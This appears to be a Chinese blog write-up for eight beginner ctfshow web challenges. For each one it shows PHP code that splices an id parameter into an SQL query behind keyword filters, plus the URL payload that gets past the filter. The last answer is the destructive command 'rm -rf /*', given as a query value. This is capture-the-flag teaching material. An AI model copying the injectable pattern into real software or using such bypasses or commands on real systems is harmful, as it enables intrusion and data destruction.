ctfshow 萌新计划 writeup1-8

原创

Eph3mera1 于 2020-10-22 22:20:46 发布 253 收藏 1

ctfshow 萌新计划 writeup1-8

web1

题目：代码很安全，没有漏洞。
网页代码如下

```
<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为：$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果，获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }

}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>
```

提示显示flag位于id=1000处，构造url如下：

```
http://30fbed6c-1f2d-482d-a1f4-bc10a05c5285.chall.ctf.show/?id=999+1
```

web2

题目：管理员赶紧修补了漏洞，这下应该没问题了吧？
主要代码如下：

```
    if(preg_match("/or|\+/i",$id)){
            die("id error");
    }
<!-- flag in id = 1000 -->
</html>
```

题目与web1相比过滤了 + 和 or，构造url如下：

```
http://f40c0208-b64b-4c7d-a63b-32bbee853aa8.chall.ctf.show/?id=10*100
```

web3

题目：
主要代码：

```
    if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
            die("id error");
    }
```

过滤了 + 、or、*、hex，构造url如下

```
http://76cf3f19-eb4c-44c6-998d-d3bef36dc001.chall.ctf.show/?id=10 || id=1000
```

web4

题目：管理员阿呆又失败了，这次一定要堵住漏洞
主要代码：

```
    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
```

构造url如下：

```
http://dfd316ef-a42e-4693-9046-6ce7c2feb087.chall.ctf.show/?id='1000'
```

web5

题目：阿呆被老板狂骂一通，决定改掉自己大意的毛病，痛下杀手，修补漏洞。
主要代码：

```
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
```

构造url如下，^表示异或：

```
http://5742ca90-232f-4279-a7b8-962b758cfc02.chall.ctf.show/?id=144^888
```

web6

题目：阿呆一口老血差点噎死自己，决定杠上了
主要代码：

```
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
```

构造url如下：

```
http://3fd381f2-467b-421e-b25d-f9df96c9462f.chall.ctf.show/?id=~~1000
```

web7

题目：阿呆得到最高指示，如果还出问题，就卷铺盖滚蛋，阿呆心在流血。
主要代码：

```
if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
```

构造url：

```
http://150dbc8b-590c-4179-bf9e-f2ffc96f1929.chall.ctf.show/?id=0b1111101000
```

web8

题目：阿呆熟悉的一顿操作，去了埃塞尔比亚。
网页代码：

```
 <html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html>
```

在网上找wp，用了一个梗（删库跑路，构造url：

```
http://fc13d097-81d3-423f-9cb3-bc763e67bab7.chall.ctf.show/?flag=rm -rf /*
```